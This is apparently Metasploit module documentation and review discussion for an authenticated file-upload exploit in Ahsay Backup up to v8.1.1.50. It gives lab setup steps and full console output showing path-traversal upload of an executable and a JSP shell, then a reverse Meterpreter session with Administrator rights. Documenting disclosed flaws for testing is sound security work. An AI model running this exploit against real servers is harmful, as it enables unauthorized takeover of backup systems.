Ahsay backup v7.x - v8.1.1.50 file upload

[Wietsman]

This exploit will upload a file to the server, it is possible to change the path and upload it in a directory that is accessible through the webserver. For this to work a valid user account is necessary, but trial accounts are enabled by default and an account can be created this way.

Installation if the Ahsay Backup:

• Install Windows server
• download the vulnerable version: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
• Install cbs-win.exe on Windows server
• Start the application ( I start it manually from C:\Program Files\AhsayCBS\bin\startup.bat)

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/windows/misc/ahsay_fileupload
• enable create trial account set CREATEACCOUNT true
• set RHOST set RHOST 172.16.238.175
• set LHOST set LHOST 172.16.238.235
• run exploit run
• We should receive a meterpreter shell.

msfconsole output

msf > use exploit/windows/misc/ahsay_fileupload
msf exploit(windows/misc/ahsay_fileupload) > show options

Module options (exploit/windows/misc/ahsay_fileupload):

   Name           Current Setting            Required  Description
   ----           ---------------            --------  -----------
   CREATEACCOUNT  false                      no        Create Trial account
   PASSWORD       Ahsay01!                   yes       Password to Ahsay
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                     yes       The target address
   RPORT          443                        yes       The target port (TCP)
   SSL            true                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                          yes       Path to Ahsay
   UPLOADPATH     ../../webapps/cbs/help/en  no        Payload Path
   USERNAME       ahsay01                    yes       Username to Ahsay
   VHOST                                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf exploit(windows/misc/ahsay_fileupload) > set CREATEACCOUNT true
CREATEACCOUNT => true
msf exploit(windows/misc/ahsay_fileupload) > set RHOST 172.16.238.175
RHOST => 172.16.238.175
msf exploit(windows/misc/ahsay_fileupload) > set LHOST 172.16.238.235
LHOST => 172.16.238.235
msf exploit(windows/misc/ahsay_fileupload) > run

[*] Started reverse TCP handler on 172.16.238.235:4444 
[+] Username and password are valid!
[+] No need to create account, already exists!
[*] Uploading payload
[+] Succesfully uploaded ../../webapps/cbs/help/en/lcofxnrzON.exe
[*] Uploading payload
[+] Succesfully uploaded ../../webapps/cbs/help/en/myjnJMFlNi.jsp
[*] Triggering exploit! https://172.16.238.175:443/cbs/help/en/myjnJMFlNi.jsp
[+] Exploit executed!
[*] Sending stage (179779 bytes) to 172.16.238.175
[*] Meterpreter session 1 opened (172.16.238.235:4444 -> 172.16.238.175:1114) at 2019-07-16 14:59:45 +0200
[!] This exploit may require manual cleanup of '../../webapps/cbs/help/en/lcofxnrzON.exe' on the target
[!] This exploit may require manual cleanup of '../../webapps/cbs/help/en/myjnJMFlNi.jsp' on the target

meterpreter > getuid
Server username: AHSAY-123\Administrator

[bcoles]

syntax and style

[asoto-r7]

@Wietsman : I just wanted to say it's been a pleasure working with you via the Metasploit Slack and I appreciate your willingness to add a version check and account cleanup. Thanks for the module!

[jmartin-tech]

Release Notes

The ahsay_fileupload module has been added to the framework. It exploits an authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50.